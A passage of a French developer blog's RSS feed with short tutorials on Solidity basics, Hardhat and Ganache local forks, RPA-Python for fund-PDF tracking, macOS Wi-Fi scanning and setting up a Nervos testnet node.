            <title>Développement Solidity tuto 1 - Pragma</title>
            <link>https://leandeep.com/d%C3%A9veloppement-solidity-tuto-1-pragma/</link>
            <pubDate>Fri, 10 Sep 2021 08:08:00 +0000</pubDate>
            
            <guid>https://leandeep.com/d%C3%A9veloppement-solidity-tuto-1-pragma/</guid>
            <description>&lt;p&gt;Les &lt;code&gt;pragma&lt;/code&gt; permettent de spécifier la version du compiler pour Solidity&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
// La version doit être supérieure ou égale à 0.8.6 et inférieur à 0.9.0
pragma solidity ^0.8.6;

contract HelloEthereum {
    string public greet = &amp;#34;Hello Solidity!&amp;#34;;
}
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Les <code>pragma</code> permettent de spécifier la version du compiler pour Solidity</p>
<pre tabindex="0"><code>// SPDX-License-Identifier: MIT
// La version doit être supérieure ou égale à 0.8.6 et inférieur à 0.9.0
pragma solidity ^0.8.6;

contract HelloEthereum {
    string public greet = &#34;Hello Solidity!&#34;;
}
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Développement Solidity tuto 2 - Contrat basique</title>
            <link>https://leandeep.com/d%C3%A9veloppement-solidity-tuto-2-contrat-basique/</link>
            <pubDate>Fri, 10 Sep 2021 08:08:00 +0000</pubDate>
            
            <guid>https://leandeep.com/d%C3%A9veloppement-solidity-tuto-2-contrat-basique/</guid>
            <description>&lt;p&gt;Voici un exemple de smart contrat simple qui incrémente et décrémente le compteur &lt;code&gt;count&lt;/code&gt; gardé en mémoire.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;

contract Counter {
    uint public count;

    // Fonction permettant d&amp;#39;obtenir la valeur du compteur count 
    function get() public view returns (uint) {
        return count;
    }

    // Fonction qui incrémente count par 1
    function inc() public {
        count += 1;
    }

    // Fonction qui décrémente count par 1
    function dec() public {
        count -= 1;
    }
}
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Voici un exemple de smart contrat simple qui incrémente et décrémente le compteur <code>count</code> gardé en mémoire.</p>
<pre tabindex="0"><code>// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;

contract Counter {
    uint public count;

    // Fonction permettant d&#39;obtenir la valeur du compteur count 
    function get() public view returns (uint) {
        return count;
    }

    // Fonction qui incrémente count par 1
    function inc() public {
        count += 1;
    }

    // Fonction qui décrémente count par 1
    function dec() public {
        count -= 1;
    }
}
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Développement Solidity tuto 3 - Type de données primitifs</title>
            <link>https://leandeep.com/d%C3%A9veloppement-solidity-tuto-3-type-de-donn%C3%A9es-primitifs/</link>
            <pubDate>Fri, 10 Sep 2021 08:08:00 +0000</pubDate>
            
            <guid>https://leandeep.com/d%C3%A9veloppement-solidity-tuto-3-type-de-donn%C3%A9es-primitifs/</guid>
            <description>&lt;p&gt;Quelques types de primitifs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;boolean&lt;/li&gt;
&lt;li&gt;uint&lt;/li&gt;
&lt;li&gt;int&lt;/li&gt;
&lt;li&gt;address&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;

contract Primitives {
    bool public mon_bool = true;

    /*
    uint signifie unsigned integer, pour non negative integers
    Différente tailles sont disponibles
        uint8   varie de 0 à 2 ** 8 - 1
        uint16  varie de 0 à 2 ** 16 - 1
        ...
        uint256 varie de 0 à 2 ** 256 - 1
    */
    uint8 public u8 = 1;
    uint public u256 = 456;
    uint public u = 123; // uint est un alias pour uint256

    /*
    Les nombres négatifs sont autorisés pour les types int.
    Comme uint, différentes tailles sont disponibles de int8 à int256
    */
    int8 public i8 = -1;
    int public i256 = 456;
    int public i = -123; // int est le même que int256

    address public adr = 0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c;

    // Valeurs par défaut
    // Les variables non assignées ont une valeur par défaut
    bool public defaultBoo; // false
    uint public defaultUint; // 0
    int public defaultInt; // 0
    address public defaultAddr; // 0x0000000000000000000000000000000000000000
}
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Quelques types de primitifs:</p>
<ul>
<li>boolean</li>
<li>uint</li>
<li>int</li>
<li>address</li>
</ul>
<pre tabindex="0"><code>// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;

contract Primitives {
    bool public mon_bool = true;

    /*
    uint signifie unsigned integer, pour non negative integers
    Différente tailles sont disponibles
        uint8   varie de 0 à 2 ** 8 - 1
        uint16  varie de 0 à 2 ** 16 - 1
        ...
        uint256 varie de 0 à 2 ** 256 - 1
    */
    uint8 public u8 = 1;
    uint public u256 = 456;
    uint public u = 123; // uint est un alias pour uint256

    /*
    Les nombres négatifs sont autorisés pour les types int.
    Comme uint, différentes tailles sont disponibles de int8 à int256
    */
    int8 public i8 = -1;
    int public i256 = 456;
    int public i = -123; // int est le même que int256

    address public adr = 0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c;

    // Valeurs par défaut
    // Les variables non assignées ont une valeur par défaut
    bool public defaultBoo; // false
    uint public defaultUint; // 0
    int public defaultInt; // 0
    address public defaultAddr; // 0x0000000000000000000000000000000000000000
}
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Switcher de Truffle Ganache à Hardhat</title>
            <link>https://leandeep.com/switcher-de-truffle-ganache-%C3%A0-hardhat/</link>
            <pubDate>Tue, 07 Sep 2021 08:08:00 +0000</pubDate>
            
            <guid>https://leandeep.com/switcher-de-truffle-ganache-%C3%A0-hardhat/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Dans cet article nous allons voir comment utiliser Hardhat pour démarrer une blockchain locale (fork du réseau mainnet) et pour compiler et déployer son code Solidity. Nous verrons aussi comment avoir une explorer type etherscan local.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;pré-requis&#34;&gt;Pré-requis&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;nvm&lt;/li&gt;
&lt;li&gt;Créer un compte ethernal sur &lt;a href=&#34;https://app.tryethernal.com/&#34;&gt;https://app.tryethernal.com/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Compte alchemyapi (concurrent infura ou autre full node)&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation&#34;&gt;Installation&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;nvm install v14.17.6
nvm use v14.17.6
nvm use default v14.17.6
npm install ethernal -g
ethernal login

npm install --save-dev hardhat
npm i --save-dev hardhat-ethernal
npm i --save-dev @nomiclabs/hardhat-waffle
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;démarrer-votre-blockchain-en-local&#34;&gt;Démarrer votre blockchain en local&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;npx hardhat node --fork https://eth-mainnet.alchemyapi.io/v2/...
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;synchronisation-avec-lexplorer&#34;&gt;Synchronisation avec l&amp;rsquo;explorer&lt;/h2&gt;
&lt;p&gt;Dans un second terminal:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Dans cet article nous allons voir comment utiliser Hardhat pour démarrer une blockchain locale (fork du réseau mainnet) et pour compiler et déployer son code Solidity. Nous verrons aussi comment avoir une explorer type etherscan local.</p>
<br/>
<h2 id="pré-requis">Pré-requis</h2>
<ul>
<li>nvm</li>
<li>Créer un compte ethernal sur <a href="https://app.tryethernal.com/">https://app.tryethernal.com/</a></li>
<li>Compte alchemyapi (concurrent infura ou autre full node)</li>
</ul>
<br/>
<h2 id="installation">Installation</h2>
<pre tabindex="0"><code>nvm install v14.17.6
nvm use v14.17.6
nvm use default v14.17.6
npm install ethernal -g
ethernal login

npm install --save-dev hardhat
npm i --save-dev hardhat-ethernal
npm i --save-dev @nomiclabs/hardhat-waffle
</code></pre><br/>
<h2 id="démarrer-votre-blockchain-en-local">Démarrer votre blockchain en local</h2>
<pre tabindex="0"><code>npx hardhat node --fork https://eth-mainnet.alchemyapi.io/v2/...
</code></pre><br/>
<h2 id="synchronisation-avec-lexplorer">Synchronisation avec l&rsquo;explorer</h2>
<p>Dans un second terminal:</p>
<pre tabindex="0"><code>ethernal listen
</code></pre><br/>
<h2 id="projet-hardhat-synchronisé-sur-eternal">Projet Hardhat synchronisé sur Eternal</h2>
<pre tabindex="0"><code>npx hardhat
</code></pre><br/>
<p>Voici ce que j&rsquo;ai répondu aux questions posées:</p>
<p>✔ What do you want to do? · Create a basic sample project<br/>
✔ Hardhat project root: · ./solidity<br/>
✔ Do you want to add a .gitignore? (Y/n) · y<br/>
✔ Do you want to install this sample project&rsquo;s dependencies with npm (@nomiclabs/hardhat-waffle ethereum-waffle chai @nomiclabs/hardhat-ethers ethers)? (Y/n) · y<br/></p>
<br/>
<p>Compiler le fichier Solidity:</p>
<pre tabindex="0"><code>npx hardhat compile
</code></pre><br/>
<p>Vérifier le bon fonctionnement de Hardhat et du projet:</p>
<pre tabindex="0"><code>npx hardhat test
</code></pre><br/>
<p>Modifier le fichier de déployment pour que le contract apparaisse dans Eternal. Le fichier <code>sample-script.js</code> doit ressembler à ceci:</p>
<pre tabindex="0"><code>// We require the Hardhat Runtime Environment explicitly here. This is optional
// but useful for running the script in a standalone fashion through `node &lt;script&gt;`.
//
// When running the script with `npx hardhat run &lt;script&gt;` you&#39;ll find the Hardhat
// Runtime Environment&#39;s members available in the global scope.
const ethernal = require(&#39;hardhat-ethernal&#39;);
const hre = require(&#34;hardhat&#34;);

async function main() {
  // Hardhat always runs the compile task when running scripts with its command
  // line interface.
  //
  // If this script is run directly using `node` you may want to call compile
  // manually to make sure everything is compiled
  // await hre.run(&#39;compile&#39;);

  // We get the contract to deploy
  const Greeter = await hre.ethers.getContractFactory(&#34;Greeter&#34;);
  const greeter = await Greeter.deploy(&#34;Hello, Hardhat!&#34;);
  await hre.ethernal.push({
    name: &#39;Greeter&#39;,
    address: greeter.address
  });
  await greeter.deployed();

  console.log(&#34;Greeter deployed to:&#34;, greeter.address);
}

// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
main()
  .then(() =&gt; process.exit(0))
  .catch((error) =&gt; {
    console.error(error);
    process.exit(1);
  });
</code></pre><blockquote>
<p>J&rsquo;ai donc ajouté 4 lignes au fichier généré via la commande <code>npx hardhat</code></p></blockquote>
<p>Déployer le projet <em>sample</em> sur la blockchain hardhat:</p>
<pre tabindex="0"><code>npx hardhat run scripts/sample-script.js --network localhost
</code></pre><br/>
<p>Modifier aussi le fichier <code>hardhat.config.js</code> et ajouter la ligne suivante:</p>
<pre tabindex="0"><code>require(&#34;@nomiclabs/hardhat-waffle&#34;);
require(&#39;hardhat-ethernal&#39;);
</code></pre><br/>
<h2 id="visualisation-sur-eternal">Visualisation sur Eternal</h2>
<p>Rendez-vous sur <a href="https://app.tryethernal.com/address/">https://app.tryethernal.com/address/</a> et vous verrez le contract sample.</p>
<p><img src="/images/eternal.png" alt="image"></p>
<br/>
<h2 id="interaction-avec-le-smart-contract">Interaction avec le smart contract</h2>
<p>Via la console Hardhat, il est possible d&rsquo;interagir avec le smart contract déployé.</p>
<pre tabindex="0"><code>npm install --save-dev @nomiclabs/buidle
</code></pre><br/>
<p>Exemple avec un smart contract aléatoire dont le code est le suivant:</p>
<pre tabindex="0"><code>pragma solidity ^0.6.0;

//define interface
interface UniswapV2Factory {
    //this function returns the pair address based on 2 token addresses
    function getPair(address tokenA, address TokenB)
        external
        view
        returns (address pair);
}

//define interface
interface UniswapV2Pair {
    //this function returns how much DAI and WETH is locked in uniswap
    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );
}

contract GetReserves {
    address private factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
    address private dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
    address private weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

    function getTokenReserves() external view returns (uint256, uint256) {
        address pair = UniswapV2Factory(factory).getPair(dai, weth);

        (uint256 reserve0, uint256 reserve1, ) = UniswapV2Pair(pair)
            .getReserves();

        return (reserve0, reserve1);
    }
}
</code></pre><br/>
<p>Code JS à exécuter dans la console démarrée via la commande <code>npx hardhat console --network localhost</code>:</p>
<pre tabindex="0"><code>const GetReserves = await ethers.getContractFactory(&#34;GetReserves&#34;)
const getReserves = await MyContract.attach(&#34;0xcbEAF3BDe82155F56486Fb5a1072cb8baAf547cc&#34;)
await getReserves.getTokenReserves()
</code></pre><blockquote>
<p>Ethers tips:</p>
<ul>
<li>Convert 1 eth to wei: <code>wei = ethers.utils.parseUnits(&quot;1.0&quot;, 18)</code></li>
</ul></blockquote>
]]></content>
        </item>
        
        <item>
            <title>Pas assez de gaz pour développer sur Ethereum</title>
            <link>https://leandeep.com/pas-assez-de-gaz-pour-d%C3%A9velopper-sur-ethereum/</link>
            <pubDate>Mon, 06 Sep 2021 08:08:00 +0000</pubDate>
            
            <guid>https://leandeep.com/pas-assez-de-gaz-pour-d%C3%A9velopper-sur-ethereum/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Voici un tip pour éviter de devoir attendre 24h avant de pouvoir réclamer des Keth via les Faucets de Kovan. Sans cela, et lorsque vous avez brulé tout votre capital à force de tester sans cesse votre code, c&amp;rsquo;est très compliqué d&amp;rsquo;avancer et d&amp;rsquo;achever le développement de son smart contract Solidity (ou dApps web3). On perd du temps alors qu&amp;rsquo;on n&amp;rsquo;est même pas en prod&amp;hellip;&lt;/p&gt;
&lt;p&gt;Ce tip permet de s&amp;rsquo;affranchir temporairement de l&amp;rsquo;erreur suivante:
&lt;code&gt;{&#39;code&#39;: -32010, &#39;message&#39;: &#39;Insufficient funds. The account you tried to send transaction from does not have enough funds. Required 26000000000000000 and got: 18781271414646593.&#39;}&lt;/code&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Voici un tip pour éviter de devoir attendre 24h avant de pouvoir réclamer des Keth via les Faucets de Kovan. Sans cela, et lorsque vous avez brulé tout votre capital à force de tester sans cesse votre code, c&rsquo;est très compliqué d&rsquo;avancer et d&rsquo;achever le développement de son smart contract Solidity (ou dApps web3). On perd du temps alors qu&rsquo;on n&rsquo;est même pas en prod&hellip;</p>
<p>Ce tip permet de s&rsquo;affranchir temporairement de l&rsquo;erreur suivante:
<code>{'code': -32010, 'message': 'Insufficient funds. The account you tried to send transaction from does not have enough funds. Required 26000000000000000 and got: 18781271414646593.'}</code></p>
<blockquote>
<p>Les faucets que j&rsquo;utilise sur Kovan (tous fonctionnels au 06 sept 2021):</p>
<ul>
<li><a href="https://faucets.blockxlabs.com/">https://faucets.blockxlabs.com/</a></li>
<li><a href="https://gitter.im/kovan-testnet/faucet">https://gitter.im/kovan-testnet/faucet</a></li>
<li><a href="https://ethdrop.dev/">https://ethdrop.dev/</a></li>
<li><a href="https://app.mycrypto.com/faucet">https://app.mycrypto.com/faucet</a></li>
</ul></blockquote>
<br/>
<h2 id="pré-requis">Pré-requis</h2>
<pre tabindex="0"><code>npm install ganache-cli -g
</code></pre><br/>
<h2 id="fork-du-réseau-ethereum">Fork du réseau Ethereum</h2>
<p><strong>Option 1: Ganache</strong></p>
<pre tabindex="0"><code>ganache-cli --fork https://kovan.poa.network -u 0x1F9815741F47A73277964d0631e9Fc1dbB0f7342 --seed &#34;firm prevent scrap curtain kid bamboo olympic convince muffin inquiry segment sunny&#34; -i [--secure] [--debug  ]

# Liste des options ici: https://docs.nethereum.com/en/latest/ethereum-and-clients/ganache-cli/
</code></pre><blockquote>
<p>Cela fonctionne également avec le Mainnet.</p></blockquote>
<p>Un serveur local va écouter sur le port 8545 et ce sera un fork du réseau kovan. Seulement les 64 derniers blocks depuis le latest block seront accessibles.</p>
<p>10 accounts de 100 Eth chacun vont être créés. Les adresses et leurs clés privées seront visibles dans les logs. Dans la commande précédente, je passe un <em>seed</em> pour toujours avoir les mêmes adresses et private keys</p>
<br/>
<p><strong>Option 2: Hardhat</strong></p>
<pre tabindex="0"><code>npm install --save-dev hardhat
npx hardhat node --fork https://eth-mainnet.alchemyapi.io/v2/...
</code></pre><br/>
<p>C&rsquo;est aussi simple que cela et vous pourrez achever vos devs&hellip;</p>
]]></content>
        </item>
        
        <item>
            <title>Comment le RPA et Python me permettent de suivre les mouvements des fonds d&#39;investissement</title>
            <link>https://leandeep.com/comment-le-rpa-et-python-me-permettent-de-suivre-les-mouvements-des-fonds-dinvestissement/</link>
            <pubDate>Wed, 01 Sep 2021 23:47:00 +0200</pubDate>
            
            <guid>https://leandeep.com/comment-le-rpa-et-python-me-permettent-de-suivre-les-mouvements-des-fonds-dinvestissement/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Pour ceux qui ne connaissent pas est RPA, il s&amp;rsquo;agit du Robotic Process Automation. Voir &lt;a href=&#34;https://fr.wikipedia.org/wiki/Automatisation_robotis%C3%A9e_des_processus&#34;&gt;la définition dans Wikipédia&lt;/a&gt;. Il existe pas mal de solutions élaborées comme UiPath, Automation Anywhere ou encore RPA-Python (anciennement TagUI).&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Pour une fois, je ne vais pas rentrer dans trop de détails techniques et simplement vous parler de la manière dont j&amp;rsquo;ai automatisé une routine d&amp;rsquo;investissement sur des OPCVM.&lt;/p&gt;
&lt;p&gt;Depuis quelque temps j&amp;rsquo;ai pris l&amp;rsquo;habitude de suivre la performance et l&amp;rsquo;évolution des portfolios de plusieurs fonds d&amp;rsquo;investissement sur Euronext, Nasdaq et S&amp;amp;P 500 et de quelques Gurus de la finance pour m&amp;rsquo;aider à faire les bons choix dans mes achats et reventes d&amp;rsquo;actions dans le but d&amp;rsquo;optimiser mes rendements sur le long terme. En plus de ce premier travail d&amp;rsquo;analyse, je mesure la santé des entreprises avec quelques indicateurs fondamentaux (par exemple Piotroski, Altman etc) pour essayer de comprendre leurs choix et pour les suivre ou non (à mon échelle bien évidemment).&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<blockquote>
<p>Pour ceux qui ne connaissent pas est RPA, il s&rsquo;agit du Robotic Process Automation. Voir <a href="https://fr.wikipedia.org/wiki/Automatisation_robotis%C3%A9e_des_processus">la définition dans Wikipédia</a>. Il existe pas mal de solutions élaborées comme UiPath, Automation Anywhere ou encore RPA-Python (anciennement TagUI).</p></blockquote>
<p>Pour une fois, je ne vais pas rentrer dans trop de détails techniques et simplement vous parler de la manière dont j&rsquo;ai automatisé une routine d&rsquo;investissement sur des OPCVM.</p>
<p>Depuis quelque temps j&rsquo;ai pris l&rsquo;habitude de suivre la performance et l&rsquo;évolution des portfolios de plusieurs fonds d&rsquo;investissement sur Euronext, Nasdaq et S&amp;P 500 et de quelques Gurus de la finance pour m&rsquo;aider à faire les bons choix dans mes achats et reventes d&rsquo;actions dans le but d&rsquo;optimiser mes rendements sur le long terme. En plus de ce premier travail d&rsquo;analyse, je mesure la santé des entreprises avec quelques indicateurs fondamentaux (par exemple Piotroski, Altman etc) pour essayer de comprendre leurs choix et pour les suivre ou non (à mon échelle bien évidemment).</p>
<p>Bien que ce soit passionnant, tout ceci est chronophage et par manque de temps, je suis passé à côté de belles opportunités.
Je préfère gérer moi-même une partie de mon portfolio plutôt que de faire totalement confiance à des tiers. <strong>Finalement qui mieux que soi-même peut prendre soin de ses finances ?</strong></p>
<p>Enfin bref, voici comment des outils comme RPA et un peu de code Python peuvent nous aider pour ce use case qui consiste à tracker les mouvements des portfolios de <em>funds</em>.</p>
<br/>
<h2 id="linaccessibilité-des-données">L&rsquo;inaccessibilité des données</h2>
<p>Je ne vais pas lister ici les <em>funds</em> que je suis. Ce n&rsquo;est pas l&rsquo;objet de cet article et je ne suis pas CGP.</p>
<p>Sur tous les sites internet des assureurs ou fonds qui décrivent les produits financiers qui m&rsquo;intéressent je n&rsquo;ai jamais accès aux données qui m&rsquo;intéressent de façon simple pour permettre de l&rsquo;automatisation. Sauf très rare exception, il n&rsquo;y a pas d&rsquo;API ou encore de CSV. Il y a seulement des PDFs à télécharger. Ces PDFs décrivent les produits et contiennent des informations précieuses comme le nom des actions, leurs symboles, codes ISIN, le pourcentage de répartition dans le portfolio etc. Les liens pour télécharger ces PDFs sont toujours placés aux mêmes endroits sur les sites mais les URLs des liens changent à chaque mise à jour des PDFs. L&rsquo;automatisation pur code est donc impossible. Il faut pouvoir naviguer sur le site internet pour récupérer les dernières versions des PDFs.</p>
<br/>
<h2 id="rpa-et-python-à-la-rescousse">RPA et Python à la rescousse</h2>
<p>Dans mon cas, je fais de la <code>Web Automation</code>. Pour cela, je recommande les packages Python suivants:</p>
<pre tabindex="0"><code>import rpa as r
import PyPDF2
</code></pre><blockquote>
<p>Bien sûr il y a pleins d&rsquo;autres solutions pour la simple Web automation (cf. Google Puppeteer, Selenium) mais utiliser un outil de RPA permet de manipuler bien plus qu&rsquo;un navigateur Web. Si on a besoin de faire de la <code>Visual Automation</code> sur Desktop ou encore de l&rsquo;<code>OCR automation</code>&hellip; c&rsquo;est possible mais surtout c&rsquo;est possible simplement sans bricoler.</p></blockquote>
<p>Le premier package permet de faire du RPA et en l&rsquo;occurrence d&rsquo;ouvrir un fenêtre Chrome et d&rsquo;exécuter une procédure automatisée. Dans mon cas, la procédure consiste à me rendre sur les sites de funds et télécharger les PDFs qui m&rsquo;intéressent.</p>
<blockquote>
<p>Example basique tiré de la doc de RPA-Python</p>
<pre tabindex="0"><code>r.init()
r.url(&#39;https://www.google.com&#39;)
r.type(&#39;//*[@name=&#34;q&#34;]&#39;, &#39;decentralization[enter]&#39;)
print(r.read(&#39;result-stats&#39;))
r.snap(&#39;page&#39;, &#39;results.png&#39;)
r.close()
</code></pre></blockquote>
<p>Le second package permet d&rsquo;extraire le contenu texte sélectionnable (et qui nous intéresse; notre data) dans les PDFS.</p>
<p>Exemple d&rsquo;une fonction permettant d&rsquo;extraire le contenu texte de la première page d&rsquo;un PDF:</p>
<pre tabindex="0"><code>def extract_pdf_content(path: str) -&gt; List[str]:
    with open(path, mode=&#34;rb&#34;) as f:
        reader = PyPDF2.PdfFileReader(f)
        page = reader.getPage(0)
        return page.extractText().splitlines()
</code></pre><br/>
<p>Aussi simple que cela. Avec quelques lignes de code supplémentaires, il est possible d&rsquo;automatiser tout un suivi de portfolio et d&rsquo;enrichir les données avec des indicateurs fondamentaux d&rsquo;aide à la prise de décision et d&rsquo;exporter le tout dans un dashboard ou un sheet&hellip; Au passage, cela peut permettre de limiter des frais de gestion demandés par certains organismes et d&rsquo;avoir plusieurs stratégies d&rsquo;investissement en parallèle sans que ce soit trop chronophage. Vous pouvez aussi piloter la partie achat et reventes des ordres chez votre broker avec validation utilisateur&hellip; 😌</p>
<br/>
<h2 id="la-partie-geek-inutile">La partie geek inutile</h2>
<p>Je voulais que l&rsquo;exécution du programme écrit en Python soit aussi simple que de double cliquer sur une icone et surtout que le programme soit standalone. Pas besoin de charger un virtualenv, ou de garder une version de Python particulière pour que cela fonctionne ou encore d&rsquo;avoir toutes les libraires bien présentes&hellip; J&rsquo;ai testé <a href="https://www.pyinstaller.org/">pyinstaller</a> pour créer un bundle et cela fonctionne parfaitement 🤩.</p>
<br/>
<p>C&rsquo;est une très bonne découverte. J&rsquo;avais commencé à utiliser Rust pour pouvoir adresser cette problématique du binaire &ldquo;self-contained&rdquo; pour des utilitaires systèmes (ou pour des &ldquo;side cars&rdquo; très légers Python dans d&rsquo;autres versions que le serveur); ce qui n&rsquo;était pas possible simplement avec Python (contrairement à Go ou Rust) et finalement cela fonctionne très bien. Comme je code 10 000 fois plus vite en Python qu&rsquo;en Rust, j&rsquo;essayerais de créer mes prochains utilitaires systèmes personnels avec <code>pyinstaller</code>. J&rsquo;en parlerais dans de prochains articles.</p>
]]></content>
        </item>
        
        <item>
            <title>Lister les devices Wifi autour de votre Mac</title>
            <link>https://leandeep.com/lister-les-devices-wifi-autour-de-votre-mac/</link>
            <pubDate>Sat, 14 Aug 2021 07:25:00 +0000</pubDate>
            
            <guid>https://leandeep.com/lister-les-devices-wifi-autour-de-votre-mac/</guid>
            <description>&lt;p&gt;Sans rien installer sur votre OSX, voici la commande pour lister les devices Wifi autour de vous via cli.
Les informations suivantes seront disponibles: SSID, BSSID, RSSI, CHANNEL, HT, CC, SECURITY&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s

# Pour se simplifier la vie
# sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport
# airport -s
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Sans rien installer sur votre OSX, voici la commande pour lister les devices Wifi autour de vous via cli.
Les informations suivantes seront disponibles: SSID, BSSID, RSSI, CHANNEL, HT, CC, SECURITY</p>
<pre tabindex="0"><code>/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s

# Pour se simplifier la vie
# sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport
# airport -s
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Faire tourner un noeud Nervos Network</title>
            <link>https://leandeep.com/faire-tourner-un-noeud-nervos-network/</link>
            <pubDate>Fri, 13 Aug 2021 09:25:00 +0000</pubDate>
            
            <guid>https://leandeep.com/faire-tourner-un-noeud-nervos-network/</guid>
            <description>&lt;p&gt;Ce court article décrit comment faire tourner un noeud Nervos Network testnet sur Ubuntu 20.04.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;noeud-sur-aggron&#34;&gt;Noeud sur Aggron&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Installation du CKB Node&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;mkdir -p nervos
cd ./nervos
curl -LO https://github.com/nervosnetwork/ckb/releases/download/v0.43.1/ckb_v0.43.1_x86_64-unknown-linux-gnu.tar.gz
tar xzf ckb_v0.43.1_x86_64-unknown-linux-gnu.tar.gz
mv ckb_v0.43.1_x86_64-unknown-linux-gnu ckb_v0.43.1
cd ckb_v0.43.1
./ckb init --chain testnet
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Installation du CKB Indexer&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;cd ./nervos
mkdir ckb-indexer-0.2.1/
cd ckb-indexer-0.2.1/
curl -LO https://github.com/nervosnetwork/ckb-indexer/releases/download/v0.2.1/ckb-indexer-0.2.1-linux.zip
unzip ckb-indexer-0.2.1-linux.zip
tar xzf ckb-indexer-linux-x86_64.tar.gz
RUST_LOG=info ./ckb-indexer -s ./indexer-data
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Vérifier que le noeud est bien synchronisé en comparant les blocks avec les derniers trouvés dans l&amp;rsquo;explorer &lt;a href=&#34;https://explorer.nervos.org/aggron/&#34;&gt;https://explorer.nervos.org/aggron/&lt;/a&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Ce court article décrit comment faire tourner un noeud Nervos Network testnet sur Ubuntu 20.04.</p>
<br/>
<h2 id="noeud-sur-aggron">Noeud sur Aggron</h2>
<p><strong>Installation du CKB Node</strong></p>
<pre tabindex="0"><code>mkdir -p nervos
cd ./nervos
curl -LO https://github.com/nervosnetwork/ckb/releases/download/v0.43.1/ckb_v0.43.1_x86_64-unknown-linux-gnu.tar.gz
tar xzf ckb_v0.43.1_x86_64-unknown-linux-gnu.tar.gz
mv ckb_v0.43.1_x86_64-unknown-linux-gnu ckb_v0.43.1
cd ckb_v0.43.1
./ckb init --chain testnet
</code></pre><br/>
<p><strong>Installation du CKB Indexer</strong></p>
<pre tabindex="0"><code>cd ./nervos
mkdir ckb-indexer-0.2.1/
cd ckb-indexer-0.2.1/
curl -LO https://github.com/nervosnetwork/ckb-indexer/releases/download/v0.2.1/ckb-indexer-0.2.1-linux.zip
unzip ckb-indexer-0.2.1-linux.zip
tar xzf ckb-indexer-linux-x86_64.tar.gz
RUST_LOG=info ./ckb-indexer -s ./indexer-data
</code></pre><br/>
<p>Vérifier que le noeud est bien synchronisé en comparant les blocks avec les derniers trouvés dans l&rsquo;explorer <a href="https://explorer.nervos.org/aggron/">https://explorer.nervos.org/aggron/</a></p>
<br/>
<p>Le noeud et l&rsquo;indexeur seront accessibles aux adresses suivantes:</p>
<ul>
<li>
<p>CKB Node RPC URL: http://localhost:8114</p>
</li>
<li>
<p>CKB Indexer RPC URL: http://localhost:8116</p>
</li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>Installer Syncthing sur Ubuntu 20.04</title>
            <link>https://leandeep.com/installer-syncthing-sur-ubuntu-20.04/</link>
            <pubDate>Tue, 10 Aug 2021 19:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/installer-syncthing-sur-ubuntu-20.04/</guid>
